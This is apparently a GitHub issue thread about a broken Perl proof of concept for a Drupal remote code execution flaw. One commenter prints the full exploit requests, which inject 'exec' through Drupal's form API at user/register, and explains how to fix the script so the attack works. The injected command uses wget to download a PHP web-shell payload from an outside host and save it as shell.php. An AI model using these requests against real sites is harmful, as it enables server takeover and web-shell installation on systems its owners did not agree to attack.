Perl Reproducer Wrong

[gottburgm]

Hello, the perl PoC is wrong actually it sends the following request :

({
_content => "form_id=user_register_form&_drupa_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget+https%3A%2F%2Fraw.githubusercontent.com%2Fdr-iman%2FSpiderProject%2Fmaster%2Flib%2Fexploits%2Fweb-app%2Fwordpress%2Fads-manager%2Fpayload.php+-0+shell.php",
_headers => bless({
  "0" => "multipart/form-data",
  "::std_case" => { "0" => 0 },
  "content-length" => 281,
  "content-type" => "application/x-www-form-urlencoded",
  "user-agent" => "libwww-perl/6.33",
}, "HTTP::Headers"),
_method => "POST",
_uri => bless(do{\(my $o = "http://127.0.0.1//user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax")}, "URI::http"),
_uri_canonical => bless(do{\(my $o = "http://127.0.0.1//user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax")}, "URI::http"),
}, "HTTP::Request")

you need to add quotes around any string that contains "-", so, to fix it :

 $response = $ua->post($exploit, 'Content-Type' => 'multipart/form-data', ....

and it will send:

({
_content => "--xYzZY\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nuser_register_form\r\n--xYzZY\r\nContent-Disposition: form-data; name=\"_drupa_ajax\"\r\n\r\n1\r\n--xYzZY\r\nContent-Disposition: form-data; name=\"mail[#post_render][]\"\r\n\r\nexec\r\n--xYzZY\r\nContent-Disposition: form-data; name=\"mail[#type]\"\r\n\r\nmarkup\r\n--xYzZY\r\nContent-Disposition: form-data; name=\"mail[#markup]\"\r\n\r\nwget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php -0 shell.php\r\n--xYzZY--\r\n",
_headers => bless({
  "content-length" => 507,
  "content-type"   => "multipart/form-data; boundary=xYzZY",
  "user-agent"     => "libwww-perl/6.33",
}, "HTTP::Headers"),
_method => "POST",
_uri => bless(do{\(my $o = "http://127.0.0.1//user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax")}, "URI::http"),
_uri_canonical => bless(do{\(my $o = "http://127.0.0.1//user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax")}, "URI::http"),
}, "HTTP::Request")

Cheers, Michael

[g0rx]

Thank you

[samozin]

so whats the correct code?